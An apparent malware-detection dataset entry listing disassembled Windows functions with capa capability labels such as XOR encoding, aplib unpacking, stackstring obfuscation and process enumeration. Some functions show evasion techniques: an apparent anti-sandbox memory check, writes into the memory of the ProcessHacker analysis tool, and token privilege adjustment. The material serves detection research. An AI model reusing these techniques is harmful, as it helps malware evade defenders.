joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400c2550
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
call fcn.1400c2780
xor r10d, r10d
lea edx, [rax*4]
mov r11d, eax
movsxd r9, edx
test edx, edx
jle 0x1400c25c9
lea r8, [rbx + 8]
lea rcx, [rbx + 8]
lea r8, [r8 + r9*4]
nop
mov eax, dword [r8 - 8]
mov edx, dword [rcx - 8]
add r10, 4
mov dword [rcx - 8], eax
mov eax, dword [r8 - 4]
mov dword [r8 - 8], edx
mov edx, dword [rcx - 4]
mov dword [rcx - 4], eax
mov eax, dword [r8]
mov dword [r8 - 4], edx
mov edx, dword [rcx]
mov dword [rcx], eax
mov eax, dword [r8 + 4]
mov dword [r8], edx
mov edx, dword [rcx + 4]
mov dword [rcx + 4], eax
sub r9, 4
mov dword [r8 + 4], edx
lea r8, [r8 - 0x10]
lea rcx, [rcx + 0x10]
cmp r10, r9
jl 0x1400c2580
cmp r11d, 1
jle 0x1400c276d
mov qword [rsp + 0x30], rdi
add rbx, 2
lea r10d, [r11 - 1]
lea rdi, [0x140000000]
nop word [rax + rax]
mov r8d, dword [rbx + 0xe]
lea rbx, [rbx + 0x10]
mov eax, r8d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx - 1]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
mov r9d, dword [rdi + rdx*4 + 0xe3b30]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0xe4330]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx]
xor r9d, dword [rdi + rcx*4 + 0xe4730]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx + 3]
movzx edx, byte [rdi + rax*4 + 0xe3730]
xor r9d, dword [rdi + rcx*4 + 0xe3f30]
movzx eax, byte [rbx + 4]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
mov r8d, dword [rdi + rdx*4 + 0xe4330]
mov dword [rbx - 2], r9d
xor r8d, dword [rdi + rcx*4 + 0xe3f30]
mov r9d, dword [rbx + 2]
mov eax, r9d
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, r9b
mov r9d, dword [rbx + 6]
xor r8d, dword [rdi + rcx*4 + 0xe3b30]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx + 7]
xor r8d, dword [rdi + rcx*4 + 0xe4730]
movzx edx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx + 8]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
mov dword [rbx + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0xe4330]
xor r8d, dword [rdi + rcx*4 + 0xe3f30]
mov eax, r9d
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, r9b
mov r9d, dword [rbx + 0xa]
xor r8d, dword [rdi + rcx*4 + 0xe3b30]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx + 0xb]
xor r8d, dword [rdi + rcx*4 + 0xe4730]
movzx edx, byte [rdi + rax*4 + 0xe3730]
movzx eax, byte [rbx + 0xc]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
mov dword [rbx + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0xe4330]
xor r8d, dword [rdi + rcx*4 + 0xe3f30]
mov eax, r9d
shr rax, 0x18
movzx ecx, byte [rdi + rax*4 + 0xe3730]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0xe3b30]
movzx ecx, byte [rdi + rax*4 + 0xe3730]
xor r8d, dword [rdi + rcx*4 + 0xe4730]
mov dword [rbx + 0xa], r8d
dec r10
jne 0x1400c25f0
mov rdi, qword [rsp + 0x30]
mov eax, r11d
add rsp, 0x20
pop rbx
ret
Function at 0x1400c2c90
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x50
mov rdi, rdx
mov rax, r9
mov r12, r9
cqo
mov rbx, r8
mov r13, rcx
and edx, 0xf
add rax, rdx
mov rbp, rax
and eax, 0xf
sub rax, rdx
sar rbp, 4
mov rsi, rax
test rax, rax
je 0x1400c2cdb
test rbp, rbp
jne 0x1400c2cd8
xor eax, eax
jmp 0x1400c2eb9
dec rbp
mov qword [rsp + 0x80], r14
mov r14, qword [rsp + 0xa0]
movups xmm0, xmmword [r14]
movups xmm1, xmm0
movups xmmword [rsp + 0x20], xmm0
test rbp, rbp
je 0x1400c2d62
mov qword [rsp + 0x88], r15
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r13 + 4]
lea rcx, [r13 + 0xf8]
mov r9, rbx
mov r8, rdi
call fcn.1400c1920
mov eax, dword [rsp + 0x20]
add rdi, 0x10
xor dword [rbx], eax
mov eax, dword [rsp + 0x24]
add rbx, 0x10
xor dword [rbx - 0xc], eax
mov eax, dword [rsp + 0x28]
xor dword [rbx - 8], eax
mov eax, dword [rsp + 0x2c]
xor dword [rbx - 4], eax
movups xmm0, xmmword [rdi - 0x10]
movups xmm1, xmm0
movups xmmword [rsp + 0x20], xmm0
dec rbp
jne 0x1400c2d10
mov r15, qword [rsp + 0x88]
test rsi, rsi
je 0x1400c2eaa
movups xmm0, xmmword [rdi]
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x40]
lea rcx, [r13 + 0xf8]
movups xmmword [r14], xmm0
mov edx, dword [r13 + 4]
movups xmmword [rsp + 0x40], xmm0
call fcn.1400c1920
xor r9d, r9d
test rsi, rsi
je 0x1400c2e75
cmp rsi, 0x10
jb 0x1400c2e39
lea r10, [rsi + 0xf]
lea rdx, [rsi + 0xf]
lea r8, [rbx + 0x10]
add r10, rdi
add rdx, rbx
lea rcx, [rdi + 0x10]
cmp r8, r10
ja 0x1400c2dc7
cmp rdx, rcx
jae 0x1400c2e39
lea rax, [rsp + rsi + 0x2f]
cmp r8, rax
ja 0x1400c2ddb
lea r8, [rsp + 0x30]
cmp rdx, r8
jae 0x1400c2e39
lea rdx, [rsp + 0x30]
cmp rdx, r10
ja 0x1400c2dea
cmp rax, rcx
jae 0x1400c2e39
mov rax, rsi
mov rdx, rsi
lea r8, [rsp + 0x30]
and eax, 0xf
sub r8, rdi
sub rdx, rax
mov rax, rbx
sub rax, rdi
nop dword [rax]
nop dword [rax + rax]
movdqu xmm1, xmmword [rcx]
movdqu xmm0, xmmword [r8 + rcx - 0x10]
add r9, 0x10
lea rcx, [rcx + 0x10]
pxor xmm0, xmm1
movdqu xmmword [rax + rcx - 0x10], xmm0
movdqu xmmword [r8 + rcx - 0x20], xmm1
cmp r9, rdx
jb 0x1400c2e10
cmp r9, rsi
jae 0x1400c2e75
lea rax, [rsp + 0x30]
lea rcx, [rsp + 0x30]
mov r10, rbx
sub rdi, rax
sub r10, rcx
lea r8, [rsp + 0x30]
add r8, r9
inc r9
movzx eax, byte [r8 + rdi + 0x10]
movzx edx, al
xor dl, byte [r8]
mov byte [r8], al
mov byte [r8 + r10 + 0x10], dl
cmp r9, rsi
jb 0x1400c2e51
mov edx, dword [r13 + 4]
lea r8, [rsp + 0x30]
lea rcx, [r13 + 0xf8]
mov r9, rbx
call fcn.1400c1920
mov eax, dword [rsp + 0x20]
xor dword [rbx], eax
mov eax, dword [rsp + 0x24]
xor dword [rbx + 4], eax
mov eax, dword [rsp + 0x28]
xor dword [rbx + 8], eax
mov eax, dword [rsp + 0x2c]
xor dword [rbx + 0xc], eax
jmp 0x1400c2eae
movups xmmword [r14], xmm1
mov r14, qword [rsp + 0x80]
mov rax, r12
mov rbx, qword [rsp + 0x90]
add rsp, 0x50
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1412b2000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x1412b200a
jmp 0x1412b400f
jmp fcn.140c030b0

Function at 0x140001000
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x90]
sub rsp, 0x190
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x80], rax
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [0x140002298]
lea rdx, [rbp - 0x20]
movups xmm0, xmmword [str.warp_plus.exe]
mov dword [rbp - 8], eax
lea rcx, str.C:larp_pluswarp_plus.exe
xor eax, eax
mov dword [rsp + 0x70], 0x68
xor ebx, ebx
mov dword [rbp - 0x2c], eax
movups xmmword [rbp - 0x20], xmm0
lea rax, [rsp + 0x50]
xor r9d, r9d
movsd xmm0, qword [0x140002290]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
movsd qword [rbp - 0x10], xmm0
xorps xmm0, xmm0
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400010d8
lea rdx, str.failed_to_start_warp_plus.exe
jmp 0x140001142
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x68], ebx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r8d, dword [rsp + 0x68]
cmp r8d, 0x103
jne 0x14000112d
nop word [rax + rax]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsp + 0x50]
lea rdx, [rsp + 0x68]
mov dword [rsp + 0x68], ebx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov r8d, dword [rsp + 0x68]
cmp r8d, 0x103
je 0x140001100
lea rdx, str.warp_plus.exe_closed_with_exit_code__d
lea rcx, [rbp]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp]
xor r9d, r9d
lea r8, [0x1400022d8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov rcx, qword [rbp + 0x80]
xor rcx, rsp
call fcn.140001190
mov rbx, qword [rsp + 0x1a0]
add rsp, 0x190
pop rbp
ret

Function at 0x140001a58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001aa2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001aa2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001aa2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001aa2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001aa2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001aa4
xor al, al
add rsp, 0x28
ret
Function at 0x140e06058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x140e061df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140e06089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e0606f
add dl, dl
jne 0x140e06096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e060f6
xor eax, eax
add dl, dl
jne 0x140e060a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x140e061ad
add dl, dl
jne 0x140e060b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e060c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e060d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e060dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x140e060ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x140e0607e
mov eax, 1
add dl, dl
jne 0x140e06106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140e06113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e060fb
sub eax, ebx
mov ebx, 1
jne 0x140e0614c
mov ecx, 1
add dl, dl
jne 0x140e0612e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e0613b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e06123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0607e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140e06168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140e06175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140e0615d
cmp eax, 0x7d00
jae 0x140e0619b
cmp eax, 0x500
jb 0x140e06196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0607e
cmp eax, 0x7f
ja 0x140e0619e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x140e0607e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x140e061d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x140e0607e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001360
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor ebx, ebx
mov dword [rbp + 0x27], 0x65006b
lea rcx, [rbp + 0x27]
mov word [rbp + 0x3f], bx
mov dword [rbp + 0x2b], 0x6e0072
mov dword [rbp + 0x2f], 0x6c0065
mov dword [rbp + 0x33], 0x320033
mov dword [rbp + 0x37], 0x64002e
mov dword [rbp + 0x3b], 0x6c006c
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
test rax, rax
je 0x140001461
mov dword [rbp - 4], ebx
lea rdx, [rbp - 0x21]
mov word [rbp], bx
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x14], xmm0
mov rcx, rax
mov dword [rbp - 0x15], 0x736e4979
mov dword [rbp - 0x11], 0x6c6c6174
mov dword [rbp - 0xd], 0x79536465
mov dword [rbp - 9], 0x6d657473
mov dword [rbp - 5], 0x6f6d654d
mov dword [rbp + 0x17], 0x74736e49
mov dword [rbp + 0x1b], 0x656c6c61
mov dword [rbp + 0x1f], 0x73795364
mov word [rbp + 0x23], 0x74
mov dword [rbp + 7], 0x654d6d65
mov dword [rbp + 0xb], 0x79726f6d
mov byte [rbp + 0xf], bl
mov dword [rbp - 0x21], 0x50746547
mov dword [rbp - 0x1d], 0x69737968
mov dword [rbp - 0x19], 0x6c6c6163
mov word [rbp - 1], 0x7972
mov byte [rbp + 1], bl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140001461
lea rcx, [rbp - 0x29]
call rax
test eax, eax
jne 0x140001480
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140008820
mov rbx, qword [rsp + 0xb0]
add rsp, 0xa0
pop rbp
ret
mov rax, qword [rbp - 0x29]
shr rax, 0x14
cmp eax, 8
jl 0x140001461
xor ecx, ecx
movabs rdx, 0x100000000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140001461
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
mov rcx, rbx
call fcn.140001020
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
test al, al
jne 0x1400014e1
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140001461
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x140001463
Function at 0x140001500
Capabilities:
Contain obfuscated stackstrings
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x1a8], rax
xor r15d, r15d
mov dword [rbp + 0x198], 0x65002e
xor edx, edx
mov dword [rbp + 0x19c], 0x650078
mov ebx, r15d
mov word [rbp + 0x1a0], r15w
mov dword [rbp + 0x170], 0x720050
mov esi, r15d
mov dword [rbp + 0x174], 0x63006f
lea ecx, [rdx + 2]
mov dword [rbp + 0x178], 0x730065
mov dword [rbp + 0x17c], 0x480073
mov dword [rbp + 0x180], 0x630061
mov dword [rbp + 0x184], 0x65006b
mov dword [rbp + 0x188], 0x2e0072
mov dword [rbp + 0x18c], 0x780065
mov dword [rbp + 0x190], 0x65
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14000161e
lea rdx, [rsp + 0x30]
mov dword [rsp + 0x30], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000161e
cmp dword [rsp + 0x38], ebx
jne 0x1400015f0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
nop
lea rdx, [rbp + 0x170]
lea rcx, [rsp + 0x5c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x14000161a
lea rdx, [rsp + 0x30]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400015f0
jmp 0x14000161e
mov esi, dword [rsp + 0x38]
mov rcx, rdi
mov qword [rsp + 0x2d0], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000168a
lea rsi, [0x14000f040]
movabs r14, 0x7ffb942c1ae0
nop dword [rax + rax]
movsxd rcx, ebx
mov r9d, 1
mov qword [rsp + 0x20], r15
lea r8, [rsi + rcx*8]
lea rdx, [rcx + r14]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc ebx
test eax, eax
je 0x1400016be
cmp ebx, 9
jb 0x140001660
mov eax, 1
mov r14, qword [rsp + 0x2d0]
mov rcx, qword [rbp + 0x1a8]
xor rcx, rsp
call fcn.140008820
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
xor eax, eax
jmp 0x14000168f
Function at 0x140002200
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1f0]
sub rsp, 0x2f0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
mov rdi, rcx
mov dword [rbp + 0x1b0], 0x6e72656b
lea rcx, [rbp + 0x1b0]
mov dword [rbp + 0x1b4], 0x32336c65
mov dword [rbp + 0x1b8], 0x6c6c642e
mov byte [rbp + 0x1bc], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0x1c0]
mov dword [rbp + 0x1c0], 0x64616f4c
mov rcx, rax
mov dword [rbp + 0x1c4], 0x7262694c
mov rbx, rax
mov dword [rbp + 0x1c8], 0x57797261
mov byte [rbp + 0x1cc], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov dword [rbp + 0x1d0], 0x53323370
mov qword [rbp + 0x19d], r15
lea rdx, [rbp + 0x190]
mov dword [rbp + 0x1a5], r15d
mov rcx, rbx
mov dword [rbp + 0x19c], 0x3233706c
mov dword [rbp + 0x1a0], 0x70616e53
mov dword [rbp + 0x1a4], 0x746f6873
mov byte [rbp + 0x1a8], r15b
mov dword [rbp + 0x1d4], 0x7370616e
mov dword [rbp + 0x1d8], 0x746f68
mov dword [rbp + 0x190], 0x61657243
mov dword [rbp + 0x194], 0x6f546574
mov dword [rbp + 0x198], 0x65686c6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea ecx, [rdx + 2]
call rax
mov rsi, rax
test rax, rax
je 0x140002431
xor eax, eax
mov dword [rsp + 0x30], 0x238
mov qword [rbp + 0x170], rax
lea rdx, [rbp + 0x170]
mov qword [rbp + 0x178], rax
mov rcx, rbx
mov dword [rbp + 0x170], 0x636f7250
mov dword [rbp + 0x174], 0x33737365
mov dword [rbp + 0x178], 0x72694632
mov dword [rbp + 0x17c], 0x577473
mov word [rsp + 0x24], 0x5774
mov byte [rsp + 0x26], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call rax
test eax, eax
je 0x140002431
mov word [rbp + 0x18d], r15w
lea rdx, [rbp + 0x180]
mov rcx, rbx
mov word [rbp + 0x18c], 0x5774
mov byte [rbp + 0x18e], r15b
mov word [rsp + 0x20], 0x57
mov dword [rbp + 0x180], 0x636f7250
mov dword [rbp + 0x184], 0x33737365
mov dword [rbp + 0x188], 0x78654e32
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rbx, [rsp + 0x5c]
mov r14, rax
sub rbx, rdi
nop dword [rax]
mov r8d, r15d
mov rcx, rdi
movzx edx, word [rcx]
cmp word [rbx + rcx], dx
jne 0x140002422
inc r8d
add rcx, 2
cmp r8d, 8
jb 0x140002406
mov eax, dword [rsp + 0x38]
jmp 0x140002436
lea rdx, [rsp + 0x30]
mov rcx, rsi
call r14
test eax, eax
jne 0x140002400
mov eax, 2
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.140008820
lea r11, [rsp + 0x2f0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140002470
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xf0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r14, rcx
mov dword [rbp - 0x41], 0x6e72656b
lea rcx, [rbp - 0x41]
mov dword [rbp - 0x3d], 0x32336c65
mov rbx, rdx
mov dword [rbp - 0x39], 0x6c6c642e
mov byte [rbp - 0x35], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp - 0x31]
mov dword [rbp - 0x31], 0x64616f4c
mov rcx, rax
mov dword [rbp - 0x2d], 0x7262694c
mov rdi, rax
mov dword [rbp - 0x29], 0x57797261
mov byte [rbp - 0x25], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r15d, r15d
mov dword [rbp + 0xf], 0x640041
mov qword [rbp - 0x64], r15
lea rcx, [rbp + 0xf]
mov rsi, rax
mov dword [rbp - 0x65], 0x56656765
mov dword [rbp - 0x61], 0x65756c61
mov word [rbp - 0x5d], 0x57
mov dword [rbp + 0x13], 0x610076
mov dword [rbp + 0x17], 0x690070
mov dword [rbp + 0x1b], 0x320033
mov dword [rbp + 0x1f], 0x64002e
mov dword [rbp + 0x23], 0x6c006c
mov word [rbp + 0x27], r15w
mov dword [rbp - 0x11], 0x61566567
mov dword [rbp - 0xd], 0x5765756c
mov byte [rbp - 9], r15b
mov dword [rbp - 0x71], 0x6b6f6f4c
mov dword [rbp - 0x6d], 0x72507075
mov dword [rbp - 0x69], 0x6c697669
call rsi
mov rcx, rax
lea rdx, [rbp - 0x71]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r8, [rsp + 0x30]
mov rdx, rbx
xor ecx, ecx
call rax
test eax, eax
je 0x140002637
mov rax, qword [rsp + 0x30]
lea rcx, [rbp + 0xf]
mov qword [rbp - 0x4c], r15
mov qword [rbp - 0x7d], rax
mov dword [rsp + 0x38], 1
mov dword [rbp - 0x75], 2
mov dword [rbp - 1], 0x6c697669
mov dword [rbp + 3], 0x73656765
mov byte [rbp + 7], r15b
mov dword [rbp - 0x59], 0x756a6441
mov dword [rbp - 0x55], 0x6f547473
mov dword [rbp - 0x51], 0x506e656b
mov dword [rbp - 0x4d], 0x69766972
mov dword [rbp - 0x49], 0x6567656c
mov word [rbp - 0x45], 0x73
call rsi
mov rcx, rax
lea rdx, [rbp - 0x59]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9d, [r15 + 0x10]
mov qword [rsp + 0x28], r15
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], r15
xor edx, edx
mov rcx, r14
call rax
lea rdx, [rbp - 0x21]
mov dword [rbp - 0x21], 0x4c746547
mov rcx, rdi
mov dword [rbp - 0x1d], 0x45747361
mov dword [rbp - 0x19], 0x726f7272
mov byte [rbp - 0x15], r15b
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
test eax, eax
jne 0x140002637
mov al, 1
jmp 0x140002639
xor al, al
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.140008820
mov rbx, qword [rsp + 0x130]
add rsp, 0xf0
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002db0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x14000f010]
xor rax, rsp
mov qword [rbp + 0x47], rax
mov esi, ecx
mov dword [rbp + 7], 0x6e72656b
lea rcx, [rbp + 7]
mov dword [rbp + 0xb], 0x32336c65
mov dword [rbp + 0xf], 0x6c6c642e
mov byte [rbp + 0x13], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp - 0x19]
mov dword [rbp + 0x37], 0x53323370
mov rdi, rax
mov dword [rbp + 0x3b], 0x7370616e
xor eax, eax
mov dword [rbp + 0x3f], 0x746f68
mov qword [rbp - 0xc], rax
mov rcx, rdi
mov dword [rbp - 4], eax
mov dword [rbp - 0xd], 0x3233706c
mov dword [rbp - 9], 0x70616e53
mov dword [rbp - 5], 0x746f6873
mov byte [rbp - 1], al
mov dword [rbp - 0x19], 0x61657243
mov dword [rbp - 0x15], 0x6f546574
mov dword [rbp - 0x11], 0x65686c6f
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor edx, edx
lea ecx, [rdx + 4]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140002e6e
xor eax, eax
jmp 0x140002eec
lea rdx, [rbp + 0x27]
mov dword [rbp - 0x39], 0x1c
mov rcx, rdi
mov dword [rbp + 0x27], 0x65726854
mov dword [rbp + 0x2b], 0x32336461
mov dword [rbp + 0x2f], 0x73726946
mov word [rbp + 0x33], 0x74
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp - 0x39]
mov rcx, rbx
call rax
lea rdx, [rbp + 0x17]
mov dword [rbp + 0x17], 0x65726854
mov rcx, rdi
mov dword [rbp + 0x1b], 0x32336461
mov dword [rbp + 0x1f], 0x7478654e
mov byte [rbp + 0x23], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
nop
cmp dword [rbp - 0x2d], esi
je 0x140002ee9
lea rdx, [rbp - 0x39]
mov rcx, rbx
call rdi
test eax, eax
jne 0x140002ed0
mov eax, 2
jmp 0x140002eec
mov eax, dword [rbp - 0x31]
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140008820
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret